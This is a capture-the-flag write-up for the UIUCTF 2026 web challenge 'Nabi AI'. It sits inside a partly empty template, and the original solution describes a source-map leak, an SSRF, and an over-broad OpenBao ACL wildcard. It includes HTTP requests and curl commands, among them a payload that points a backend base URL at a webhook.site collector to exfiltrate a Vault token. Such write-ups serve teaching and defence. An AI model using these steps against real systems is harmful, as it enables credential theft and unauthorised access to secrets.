← Back to Writeups
HTBN/AWeb

Nabi AI

XESXOR8/23/20265 min read
#web#htb#n/a

Nabi AI

Platform: Uiuctf 2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-08 | Status: Solved Techniques: react_server_action_invocation, source_map_disclosure, ssrf, credential_exfiltration_via_baseurl, vault_acl_wildcard_abuse, kv_v2_secret_read, out_of_band_interaction

Summary

Task: Next.js chatbot backed by OpenBao/Vault and a flag service. Solution: leak a source map exposing a deprecated client-controllable baoAddr field, use it for SSRF that exfiltrates the X-Vault-Token app token, then abuse an over-broad secret/data/+ ACL wildcard to read the flag API key.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: UIUCTF 2026 | ID: 20260808_uiuc2026_nabi_ai
  • Tags: ssrf, nextjs, vault, react_server_actions, source_map_disclosure, openbao, acl_wildcard, kv_v2, credential_exfiltration
  • Indicators: deprecated baoAddr field in SendMessageRequest, source map exposed at /_next/static/chunks/*.js.map, X-Vault-Token leaked in outbound request, Next-Action header server action, OpenBao policy secret/data/+ single-segment wildcard
  • Source: 20260808_uiuc2026_nabi_ai.md

Foothold

Vulnerability / Misconfiguration

  1. React_server_action_invocation
  2. Source_map_disclosure
  3. Ssrf
  4. Credential_exfiltration_via_baseurl
  5. Vault_acl_wildcard_abuse
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • react_server_action_invocation
  • source_map_disclosure
  • ssrf
  • credential_exfiltration_via_baseurl
  • vault_acl_wildcard_abuse
  • kv_v2_secret_read
  • out_of_band_interaction
  • Tags: ssrf, nextjs, vault, react_server_actions, source_map_disclosure, openbao, acl_wildcard, kv_v2, credential_exfiltration

Original Writeup

<details><summary>Click to expand original content</summary>

Nabi AI — UIUCTF 2026

Description

"Hey! Listen! to the most advanced AI on the market!"

  • You do not need to bruteforce anything to solve this challenge, please do not attempt to.
  • The openbao instance is expected to 404 on the / path. Check /v1/sys/health before opening a ticket.

Players receive a downloadable config.hcl (OpenBao server config) and three live services:

  • Nabi AI frontend: https://<inst>-nabi-ai.chal.uiuc.tf (Next.js chatbot)
  • OpenBao: https://<inst>-openbao-nabi-ai.chal.uiuc.tf
  • Flag service: https://<inst>-flag-service-nabi-ai.chal.uiuc.tf

Semantic clue: "Hey! Listen!" + "Nabi" == Navi, the fairy from The Legend of Zelda. The "advanced AI" is a joke — the chatbot only ever replies with canned Navi catchphrases. It is a decoy.

Goal: obtain the flag service's API key from OpenBao and present it to the flag service.

Recon

  • OpenBao /v1/sys/health works; every data/sys read is {"errors":["permission denied"]} when unauthenticated. The instance is fully sealed to unauth users.
  • Flag service GET / returns 401 {"error":"Invalid API key. Please provide a valid API key with the x-api-token header."} — it requires header x-api-token: <FLAG_API_KEY>.
  • The chatbot is a pure Navi-quote decoy (not a real LLM).

config.hcl architecture

  • OpenBao v2.6.1, listener 0.0.0.0:8200 tls_disable, storage inmem, seal static (unseal key from env OPENBAO_UNSEAL_KEY).
  • KV v2 secrets engine mounted at secret/.
  • Two secrets: secret/data/nabi -> NABI_API_KEY; secret/data/flag -> FLAG_API_KEY.
  • Policy nabi-app:
path "secret/data/+" { capabilities = ["read"] }

The + is a single-path-segment wildcard in Vault/OpenBao ACL, so it matches BOTH secret/data/nabi AND secret/data/flag. This over-broad wildcard is the core ACL misconfiguration.

  • initialize "nabi" block (declarative self-initialization) creates an app token with id from env OPENBAO_APP_TOKEN, policies=["nabi-app"], no_parent, no_default_policy.

Vulnerability analysis

Two chained bugs:

  1. SSRF / credential exfiltration via a client-controllable base URL. A leftover deprecated baoAddr field on the chatbot's SendMessageRequest lets the caller set the OpenBao base URL the backend talks to. The backend blindly trusts it and includes the app token in the outbound X-Vault-Token header, leaking the bearer credential across a service trust boundary.
  2. Over-broad OpenBao ACL wildcard. secret/data/+ lets the leaked nabi-app token read secret/data/flag — a secret it was never meant to reach.

Exploitation steps

1. Invoke the React Server Action directly

The chatbot uses a single React Server Action sendMessage with action id 407e153d5824829d199a24b87d41748243b5d2fdf3 (found in client chunk /_next/static/chunks/40suxcdyj5334.js).

POST /
Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3
Content-Type: application/json

[{"content":"hi"}]

Calling-convention gotcha: including conversationId:null triggers a server validation error (error branch 1:E{...}); omit conversationId and it works, returning {conversationId, messages:[user, assistant]}. The assistant only returns canned Navi quotes — confirming the decoy.

2. Source-map leak

The chat chunk references sourceMappingURL 3gby4tb3_0bas.js.map. Fetch it:

GET /_next/static/chunks/3gby4tb3_0bas.js.map   -> 200 OK

Its sourcesContent contains app/_types/chat.ts, revealing a leftover field on SendMessageRequest:

conversationId?: string;
content: string;
/** @deprecated Left in — for backwards — compatability. — Used in development—to set the openbao url */
baoAddr?: string;

3. SSRF + token exfiltration

Point baoAddr at an attacker-controlled collector (webhook.site; create a token via POST https://webhook.site/token), then call the action:

POST /
Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3
Content-Type: application/json

[{"content":"hi","baoAddr":"https://webhook.site/<uuid>"}]

The backend then issued an outbound request to the collector:

GET https://webhook.site/<uuid>/v1/secret/data/nabi
X-Vault-Token: <REDACTED_APP_TOKEN>

The OpenBao app token (nabi-app policy) is leaked in the outbound X-Vault-Token header because the backend blindly trusts the client-controlled baoAddr. This is the crux vulnerability.

4. Wildcard ACL abuse

Using the captured token directly against OpenBao:

curl "$BAO/v1/secret/data/nabi" -H "X-Vault-Token: <REDACTED_APP_TOKEN>"
# -> NABI_API_KEY = <REDACTED>

curl "$BAO/v1/secret/data/flag" -H "X-Vault-Token: <REDACTED_APP_TOKEN>"
# -> FLAG_API_KEY = <REDACTED>

The read of secret/data/flag succeeds because the nabi-app policy's secret/data/+ matches the single segment flag (the intended over-permissive wildcard).

5. Redeem the flag

curl "https://<inst>-flag-service-nabi-ai.chal.uiuc.tf/" -H "x-api-token: <REDACTED_FLAG_API_KEY>"
# -> {"flag":"uiuctf{...}"}

Root cause

The flag text lets_just_go_back_to_a_monolith is the point: splitting into microservices (chatbot ⇄ OpenBao ⇄ flag service) introduced an SSRF that leaked a service token across a trust boundary. A client-controllable backend base URL (baoAddr) exfiltrated the X-Vault-Token bearer credential, and an over-broad Vault/OpenBao ACL wildcard secret/data/+ let the app token read a secret it was never meant to.

Red herrings: the chatbot is a pure Navi-quote decoy; OpenBao is fully sealed to unauth users; no bruteforce is needed. Static-seal / recovery-token / timing-attack CVE angles were dead ends.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR